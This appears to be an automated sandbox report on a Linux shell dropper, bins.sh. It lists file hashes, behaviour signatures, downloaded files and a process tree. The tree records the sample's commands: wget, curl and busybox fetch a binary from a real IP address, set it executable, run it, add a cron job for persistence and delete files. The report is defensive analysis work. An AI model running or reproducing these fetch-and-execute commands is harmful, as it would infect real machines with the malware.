Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    25-11-2024 12:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a11f92e48c1efd2e63aed95cbe04af94

  • SHA1

    c2de2f9e256ef84ee067c9211d373059fed96d1b

  • SHA256

    6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32

  • SHA512

    78df94801ccc2831ce184b9de6a62ea70331f41cfcd9f7b112900401710d5623f4c862a1e52859316e626b608feed0c5d79fd2377d3ac8a12c2563c8365a572a

  • SSDEEP

    192:JIc+rDhaJ8N5Lyyp1p/bLZ1Ic+rDK1peN5Lyy+G:6aJM1p/blR1pa

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1512
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1513
        • /usr/bin/wget
          wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • Writes file to tmp directory
          PID:1519
        • /bin/chmod
          chmod 777 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • File and Directory Permissions Modification
          PID:1520
        • /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          ./RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1521
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1523
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1524
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1525
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1526
              • /bin/rm
                rm RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
                2⤵
                  PID:1528
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
                  2⤵
                    PID:1531

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /var/spool/cron/crontabs/tmp.5G6ReL

                  Filesize

                  210B

                  MD5

                  527abae1f17124aaefd3b8ee14041742

                  SHA1

                  9a29a5acc0b1aeb1355f600bcdfe119849feecf3

                  SHA256

                  ad77efddc24a18142990fc2fd3895e860124484baee2b8854f0d3976b7eb0335

                  SHA512

                  97ded3ddff6e1e35771e250545f0b29d400973563f5a23132b057cddfb16168582870339e9c26bf245c8dad1defc4481bdc01094a9af7818c3473592c31c2df6